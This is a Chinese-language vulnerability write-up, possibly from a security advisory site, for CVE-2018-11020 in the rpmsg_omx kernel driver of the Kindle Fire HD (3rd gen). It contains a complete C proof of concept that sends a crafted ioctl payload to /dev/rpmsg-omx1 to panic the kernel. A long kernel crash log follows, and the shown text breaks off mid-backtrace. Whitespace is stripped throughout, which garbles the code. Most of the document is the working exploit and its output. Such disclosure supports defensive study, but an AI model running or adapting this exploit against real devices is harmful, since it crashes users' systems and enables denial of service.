（CVE-2018-11020）Amazon Kindle Fire HD (3rd) Fire OS kernel組件安全漏洞

（CVE-2018-11020）AmazonKindleFireHD(3rd)FireOSkernel組件安全漏洞一、漏洞簡介AmazonKindleFireHD（3rd）FireOS4.5.5.3內(nèi)核組件中的內(nèi)核模塊/omap/drivers/rpmsg/rpmsg_omx.c允許攻擊者通過設(shè)備文件/dev/rpmsg-上的ioctl的參數(shù)注入特制的參數(shù)使用命令3221772291的omx1，并導(dǎo)致內(nèi)核崩潰。要探索此漏洞，必須打開設(shè)備文件/dev/rpmsg-omx1，并使用命令3221772291和精心設(shè)計(jì)的有效負(fù)載作為第三個(gè)參數(shù)來對(duì)該設(shè)備文件進(jìn)行ioctl系統(tǒng)調(diào)用。二、漏洞影響FireOS4.5.5.3三、復(fù)現(xiàn)過程poc/*

*ThisispocofKindleFireHD3rd

*Abugintheioctlinterfaceofdevicefile/dev/rpmsg-omx1causesthesystemcrashviaIOCTL3221772291.

*Relatedbuggystructnameisgcicommit.

*ThisPocshouldrunwithpermissiontodoioctlon/dev/rpmsg-omx1.

*

*Thefowllwingiskmsgofkernelcrashinfomation:

*

*

*/

#include<stdio.h>

#include<fcntl.h>

#include<errno.h>

#include<sys/ioctl.h>

conststaticchar*driver="/dev/rpmsg-omx1";

staticcommand=3221772291;

intmain(intargc,char**argv,char**env){

unsignedintpayload[]={0xb5d18de2,0xf6e48a17,0x9179c429,0x89a32e03};

intfd=0;

fd=open(driver,O_RDWR);

if(fd<0){

printf("Failedtoopen%s,witherrno%d\n",driver,errno);

system("echo1>/data/local/tmp/log");

return-1;

}

printf("Tryopen%swithcommand0x%x.\n",driver,command);

printf("Systemwillcrashandreboot.\n");

if(ioctl(fd,command,&payload)<0){

printf("Allocationofstructsfailed,%d\n",errno);

system("echo2>/data/local/tmp/log");

return-1;

}

close(fd);

return0;

}崩潰日志[146.290710]Unabletohandlekernelpagingrequestatvirtualaddressb5d18de6

[146.299438]pgd=d72dc000

[146.302795][b5d18de6]*pgd=00000000

[146.307281]Internalerror:Oops:5[#1]PREEMPTSMPARM

[146.313232]Moduleslinkedin:omaplfb(O)pvrsrvkm(O)pvr_logger(O)

[146.320983]CPU:0Tainted:GO(3.4.83-gd2afc0bae69#1)

[146.328308]PCisation_free+0xc/0xb4

[146.332672]LRisatrpmsg_omx_ioctl+0x2cc/0x598

[146.337890]pc:[<c02e8540>]lr:[<c048a120>]psr:60000013

[146.337890]sp:c35b5e60ip:c35b5e80fp:c35b5e7c

[146.350860]r10:c35b5ea8r9:de88c4d8r8:c35b4000

[146.356872]r7:dd32b580r6:00000003r5:d71d5880r4:be92f5f8

[146.364135]r3:d71d58ecr2:d71d58ecr1:b5d18de2r0:d7aaaa00

[146.371551]Flags:nZCvIRQsonFIQsonModeSVC_32ISAARMSegmentuser

[146.379516]Control:10c5387dTable:972dc04aDAC:00000015

[146.386077]

[146.386077]PC:0xc02e84c0:

[146.391052]84c00a000001e2871010ebfddc25e1a00006eb0ee904e5953058e2433001e5853058

[146.401580]84e0e3530000ba0000111a000009e1a0200de3c23d7fe3c3303fe285005ce593300c

[146.412292]8500e593723ce1a01007ebf90a76e597321ce585306ce1a00006eb0ee876e1a00005

[146.422821]8520ebffffb4e1a00004ebf8e011e89da8f0e7f001f2e1a0c00de92dd878e24cb004

[146.433502]8540e5915004e1a04001e15500001a000021e2856014e1a00006eb0ee8e2e5953010

[146.444183]8560e35300000a000005e243200ce15400022a00000ae5933008e35300001afffff9

[146.454864]8580e59f0054e3001219e59f2050e59f3050ebf58268e1a00006eb0ee856e89da878

[146.465393]85a0859330048affffedf57ff05fe1943f9fe2433001e1842f93e33200001afffffa

[146.476074]

[146.476074]LR:0xc048a0a0:

[146.481048]a0a033a03000e35300001affffaee24ba05ce1a01004e3a02008e1a0000aebf7305e

[146.491729]a0c0e35000001affffaae5950068e51b1058ebf97677e3500000e50b005c0a000001

[146.502380]a0e0e3700a019affffc8e3a03000e50b305ceaffffc5e3e00018eaffff8ee1a00004

[146.513061]a100e1a0100ae3a02008ebf73154e35000000affff88eaffffc2e5950068ebf97904

[146.523590]a120eaffffb9e24b005ce3a01030ebf7398be3a02030e597003ce1a03006e58d2000

[146.534240]a140e59f1280e59f2274ebf99069e3e0000deaffff78e5933004e7933101e3530000

[146.544921]a1600affff6ce5950068ebf97651e25090000a000021e3790a018a00001fe5950068

[146.555603]a180e1a01009e24b2064e24b3060ebf97447e3500000050b905c0affff9be59f322c

[146.566131]

[146.566131]SP:0xc35b5de0:

[146.571228]5de000000004d8cc50f4600100130000000100000001c02e854060000013ffffffff

[146.581787]5e00c35b5e4cc35b4000c35b5e7cc35b5e18c06a5318c0008370d7aaaa00b5d18de2

[146.592437]5e20d71d58ecd71d58ecbe92f5f8d71d588000000003dd32b580c35b4000de88c4d8

[146.603118]5e40c35b5ea8c35b5e7cc35b5e80c35b5e60c048a120c02e854060000013ffffffff

[146.613830]5e60d71d58ecbe92f5f8d71d588000000003c35b5f04c35b5e80c048a120c02e8540

[146.624389]5e80c35b5edcc35b5e90c0207454c00bd9200000001ed7333e40c35b5ed4c35b5ea8

[146.635070]5ea0c00723a0000fffffb5d18de2f6e48a17000000020000000100000000c35b5f14

[146.645599]5ec00000000000000001de88c4d8c25d7c00c35b5efcc35b5ee0c02089fc00000000

[146.656158]

[146.656158]IP:0xc35b5e00:

[146.661254]5e00c35b5e4cc35b4000c35b5e7cc35b5e18c06a5318c0008370d7aaaa00b5d18de2

[146.671936]5e20d71d58ecd71d58ecbe92f5f8d71d588000000003dd32b580c35b4000de88c4d8

[146.682495]5e40c35b5ea8c35b5e7cc35b5e80c35b5e60c048a120c02e854060000013ffffffff

[146.693176]5e60d71d58ecbe92f5f8d71d588000000003c35b5f04c35b5e80c048a120c02e8540

[146.703704]5e80c35b5edcc35b5e90c0207454c00bd9200000001ed7333e40c35b5ed4c35b5ea8

[146.714263]5ea0c00723a0000fffffb5d18de2f6e48a17000000020000000100000000c35b5f14

[146.724914]5ec00000000000000001de88c4d8c25d7c00c35b5efcc35b5ee0c02089fc00000000

[146.735595]5ee0d72400c000000004d72400c0be92f5f8de88c4d800000000c35b5f74c35b5f08

[146.746276]

[146.746276]FP:0xc35b5dfc:

[146.751251]5dfcffffffffc35b5e4cc35b4000c35b5e7cc35b5e18c06a5318c0008370d7aaaa00

[146.761779]5e1cb5d18de2d71d58ecd71d58ecbe92f5f8d71d588000000003dd32b580c35b4000

[146.772308]5e3cde88c4d8c35b5ea8c35b5e7cc35b5e80c35b5e60c048a120c02e854060000013

[146.783020]5e5cffffffffd71d58ecbe92f5f8d71d588000000003c35b5f04c35b5e80c048a120

[146.793701]5e7cc02e8540c35b5edcc35b5e90c0207454c00bd9200000001ed7333e40c35b5ed4

[146.804382]5e9cc35b5ea8c00723a0000fffffb5d18de2f6e48a17000000020000000100000000

[146.814941]5ebcc35b5f140000000000000001de88c4d8c25d7c00c35b5efcc35b5ee0c02089fc

[146.825592]5edc00000000d72400c000000004d72400c0be92f5f8de88c4d800000000c35b5f74

[146.836242]

[146.836242]R0:0xd7aaa980:

[146.841217]a9800000000100000001000000000000000000004007000000000000000000000000

[146.851898]a9a00000002000000000000000000000000000000300d7aaa9b4d7aaa9b4c0248d00

[146.862518]a9c000000093000000930000005d0000000200000000000000000000000000000000

[146.873077]a9e00000000000000000000000000000000000000000000000000000000000000000

[146.883728]aa00d763b7800000000000000000deabb48000000000000000010000000000000000

[146.894409]aa20d7aaaa20d7aaaa200000000000000105c0903054d715744000000f30dcd4f220

[146.905090]aa400000009300000003000000170000000000000000000000000000000000000000

[146.915618]aa600000000000000000000000000000000000000000000000000000000000000000

[146.926300]

[146.926300]R2:0xd71d586c:

[146.931274]586c0000000000000000000000000000000000000000dd32b5c8dd32b5c8dd32b580

[146.941955]588cd71d588cd71d588c000000000000000000000000000000010000000000000000

[146.952636]58acd71d58acd71d58ac000000000000000000000000d71d58c0d71d58c000000000

[146.963287]58cc0000000000000000d71d58d4d71d58d4d7aaadc00000000000000000d7aaaa00

[146.973815]58ecd71d58ecd71d58ec00000000000000000000000000006a44d71d5904d71d5904

[146.984497]590c00000003d7138510d725b9100000000000000000d6cf989c0000000100000000

[146.995147]592c000000006149b6606149b64000001fe5d71d593cd71d593c0000000000000000

[147.005676]594c0000000000000000000000000000000000000000000000000000000000000000

[147.016357]

[147.016357]R3:0xd71d586c:

[147.021453]586c0000000000000000000000000000000000000000dd32b5c8dd32b5c8dd32b580

[147.032012]588cd71d588cd71d588c000000000000000000000000000000010000000000000000

[147.042663]58acd71d58acd71d58ac000000000000000000000000d71d58c0d71d58c000000000

[147.053314]58cc0000000000000000d71d58d4d71d58d4d7aaadc00000000000000000d7aaaa00

[147.063873]58ecd71d58ecd71d58ec00000000000000000000000000006a44d71d5904d71d5904

[147.074523]590c00000003d7138510d725b9100000000000000000d6cf989c0000000100000000

[147.085205]592c000000006149b6606149b64000001fe5d71d593cd71d593c0000000000000000

[147.095886]594c0000000000000000000000000000000000000000000000000000000000000000

[147.106414]

[147.106445]R5:0xd71d5800:

[147.111541]5800d71d5d000000000000000000dcfc4200f0000009000002110000000100000001

[147.122070]58200000000000001000000010000000000400000000d71d5844c01519dcd89b54c0

[147.132751]5840c01576acc10dc8700000100000000000c0a10230c0a10dc0d1a1dd58c006f724

[147.143432]58600000000000000000000000000000000000000000000000000000000000000000

[147.154083]5880dd32b5c8dd32b5c8dd32b580d71d588cd71d588c000000000000000000000000

[147.164611]58a0000000010000000000000000d71d58acd71d58ac000000000000000000000000

[147.175140]58c0d71d58c0d71d58c0000000000000000000000000d71d58d4d71d58d4d7aaadc0

[147.185821]58e00000000000000000d7aaaa00d71d58ecd71d58ec000000000000000000000000

[147.196472]

[147.196502]R7:0xdd32b500:

[147.201446]b500e2401000f400f0000202420f0000c000f400f000dd071d2000000000d8f0a680

[147.212127]b520d8f0a74000000000000000000000000100000000000000000000000000000000

[147.222656]b5400000000000000000000000010000000000000000000000000000000000000000

[147.233184]b5600000000000000000c153f4300000100000000000000000000000000000000000

[147.243865]b58000000000dd32b584dd32b5840000000000000000c0a16c600000000000000002

[147.254547]b5a00000000100000000c06faab0de88c61cde88c61c0f70000100000001d8caa000

[147.265075]b5c0dd0f720000000001d71d5880d71d5880000000010000000000000000dd32b5dc

[147.275756]b5e0dd32b5dc000000007fffffff0000000000000000dd32b5f4dd32b5f400000000

[147.286407]

[147.286407]R8:0xc35b3f80:

[147.291381]3f8066eff96800000000000000f0c0013e08c35b20000000000000000000c35b3fa8

[147.302032]3fa0c0013c60c009a16466eff97866eff96866eff978000000800000000000000000

[147.312713]3fc066eff97866eff96800000000000000f000000000000000000000000041d1f6a8

[147.323272]3fe0000000006716ebc8400710f840083b80600f001066eff9780076006100000061

[147.333923]4000000000000000000200000000d7157440c0a0e8400000000000000015d726ee00

[147.344604]4020d8d2c700c35b4000c09ddc50d7157440d8db57c0c1617b40c35b5b4cc35b5a98

[147.355133]4040c06a36e400000000000000000000000000000000000000000100000000000000

[147.365814]40600087d4c05ebfe27f000000000000000000000000000000000000000000000000

[147.376464]

[147.376495]R9:0xde88c458:

[147.381469]c458de88c458de88c458000000000000000000000000c06bc674000200dac09dda58

[147.392150]c4780000000000000000de88c480de88c48000000000de88c48cde88c48c00000000

[147.402801]c4985aefcde6000000000000000000000000de88c4b028cfd7300000000000000000

[147.413330]c4b8002000000000000000000000de88c4c4de88c4c4d8cbdf00d8cbdf0000000000

[147.424011]c4d8000521b00000040200000402000000000000000000000000c06b9600dd160400

[147.434661]c4f8de88c5b0d8c8103000000f98000000010f7000015aefcde6199c82ca5aefcde6

[147.445312]c518199c82ca5aefcde6199c82ca0000000000000000000000000000000000000000

[147.455871]c53800000000000000000000000000000000000000010000000000000000de88c554

[147.466522]

[147.466522]R10:0xc35b5e28:

[147.471588]5e28be92f5f8d71d588000000003dd32b580c35b4000de88c4d8c35b5ea8c35b5e7c

[147.482269]5e48c35b5e80c35b5e60c048a120c02e854060000013ffffffffd71d58ecbe92f5f8

[147.492950]5e68d71d588000000003c35b5f04c35b5e80c048a120c02e8540c35b5edcc35b5e90

[147.503631]5e88c0207454c00bd9200000001ed7333e40c35b5ed4c35b5ea8c00723a0000fffff

[147.514160]5ea8b5d18de2f6e48a17000000020000000100000000c35b5f140000000000000001

[147.524688]5ec8de88c4d8c25d7c00c35b5efcc35b5ee0c02089fc00000000d72400c000000004

[147.535339]5ee8d72400c0be92f5f8de88c4d800000000c35b5f74c35b5f08c0136044c0489e60

[147.546020]5f080000000000000000000000000000000100000000dd055190dd5e7f68c35b5f0c

[147.556579]Processrpmsg_omx_ioctl(pid:3888,stacklimit=0xc35b42f8)

[147.564270]Stack:(0xc35b5e60to0xc35b6000)

[147.569213]5e60:d71d58ecbe92f5f8d71d588000000003c35b5f04c35b5e80c048a120c02e8540

[147.578430]5e80:c35b5edcc35b5e90c0207454c00bd9200000001ed7333e40c35b5ed4c35b5ea8

[147.587646]5ea0:c00723a0000fffffb5d18de2f6e48a17000000020000000100000000c35b5f14

[147.596740]5ec0:0000000000000001de88c4d8c25d7c00c35b5efcc35b5ee0c02089fc00000000

[147.605957]5ee0:d72400c000000004d72400c0be92f5f8de88c4d800000000c35b5f74c35b5f08

[147.615173]5f00:c0136044c0489e600000000000000000000000000000000100000000dd055190

[147.624389]5f20:dd5e7f68c35b5f0cc35b4000be92f628be92f5f8c0085803d72400c000000004

[147.633483]5f40:c35b400000000000c35b5f6400000000be92f5f8c0085803d72400c000000004

[147.642730]5f60:c35b400000000000c35b5fa4c35b5f78c01365e0c0135fc40000000000000000

[147.651947]5f80:00000400be92f62800010e540000000000000036c0013e0800000000c35b5fa8

[147.661010]5fa0:c0013c60c0136578be92f62800010e5400000004c0085803be92f5f8be92f5f8

[147.670104]5fc0:be92f62800010e540000000000000036000000000000000000000000be92f614

[147.679321]5fe0:00000000be92f5dc000106900002917c600000100000000400000017579e6e78

[147.688537]Backtrace:

[147.691558][<c02e8534>](ion_free+0x0/0xb4)from[<c048a120>](rpmsg_omx_ioctl+0x2cc/0x598)

[147.701049]r6:00000003r5:d71d5880r4:be92f5f8r3:d71d58ec

[147.708068][<c0489e54>](rpmsg_omx_ioctl+0x0/0x598)from[<c0136044>](do_vfs_ioctl+0x8c/0x5b4)

[147.717956][<c0135fb8>](do_vfs_ioctl+0x0/0x5b4)from[<c01365e0>](sys_ioctl+0x74/0x84)

[147.727203][<c013656c>](sys_ioctl+0x0/0x84)from[<c0013c60>](ret_fast_syscall+0x0/0x30)

[147.736450]r8:c0013e08r7:00000036r6:00000000r5:00010e54r4:be92f628

[147.744873]Code:e7f001f2e1a0c00de92dd878e24cb004(e5915004)

[147.754913]BoardInformation:

[147.754913]Revision:0001

[147.754943]Serial:0000000000000000

[147.754943]SoCInformation:

[147.754943]CPU:OMAP4470

[147.754943]Rev:ES1.0

[147.754974]Type:HS

[147.754974]ProductionID:0002B975-000000CC

[147.754974]DieID:1CC60000-50002FFF-0B00935D-11007004

[147.755004]

[147.794616]---[endtrace50912198cfc81720]---

[147.799957]Kernelpanic-notsyncing:Fatalexception

[147.805847]CPU0:stopping

[147.808959]Backtrace:

[147.812133][<c0018148>](dump_backtrace+0x0/0x10c)from[<c0698bb8>](dump_stack+0x18/0x1c)

[147.821502]r6:c09ddc50r5:c09dc844r4:00000000r3:c0a0e950

[147.828643][<c0698ba0>](dump_stack+0x0/0x1c)from[<c0019bd8>](handle_IPI+0x190/0x1c4)

[147.837860][<c0019a48>](handle_IPI+0x0/0x1c4)from[<c00084fc>](gic_handle_irq+0x58/0x60)

[147.847259][<c00084a4>](gic_handle_irq+0x0/0x60)from[<c06a5380>](__irq_svc+0x40/0x70)

[147.856567]Exceptionstack(0xdd187b38to0xdd187b80)

[147.862243]7b20:0000000200000002

[147.871459]7b40:0000000200000001dd187bbcc1621100c162110000c6a000c162110800000001

[147.880676]7b60:00000001dd187bac00000002dd187b80c002398cc009ae48200d0013ffffffff

[147.889892]r6:ffffffffr5:200d0013r4:c009ae48r3:c002398c

[147.896911][<c009add0>](generic_exec_single+0x0/0x98)from[<c009af78>](smp_call_function_single+0x110/0x1e0)

[147.908325][<c009ae68>](smp_call_function_single+0x0/0x1e0)from[<c009b28c>](smp_call_function_many+0x244/0x294)

[147.920104][<c009b048>](smp_call_function_many+0x0/0x294)from[<c009b48c>](smp_call_function+0x48/0x74)

[147.931030][<c009b444>](smp_call_function+0x0/0x74)from[<c04310f4>](cpuidle_latency_notify+0x20/0x28)

[147.941864]r4:ffffffffr3:c04310d4

[147.946258][<c04310d4>](cpuidle_latency_notify+0x0/0x28)from[<c06a7154>](notifier_call_chain+0x4c/0x8c)

[147.957305][<c06a7108>](notifier_call_chain+0x0/0x8c)from[<c006ebc0>](__blocking_notifier_call_chain+0x50/0x68)

[147.969085]r8:200d0013r7:000000a0r6:00000000r5:ffffffffr4:c0a11df8

[147.977020]r3:ffffffff

[147.980499][<c006eb70>](__blocking_notifier_call_chain+0x0/0x68)from[<c006ebf8>](blocking_notifier_call_chain+0x20/0x28)

[147.993133]r7:de95183cr6:000000a0r5:0000115cr4:c0a11d98

[148.000152][<c006ebd8>](blocking_notifier_call_chain+0x0/0x28)from[<c0088eec>](pm_qos_update_target+0xf8/0x19c)

[148.011932][<c0088df4>](pm_qos_update_target+0x0/0x19c)from[<c008909c>](pm_qos_update_request+0x5c/0x8c)

[148.023071][<c0089040>](pm_qos_update_request+0x0/0x8c)from[<c0411b18>](omap_i2c_xfer+0x2bc/0x6c8)

[148.033599]r5:dd187da0r4:00000000

[148.038024][<c041185c>](omap_i2c_xfer+0x0/0x6c8)from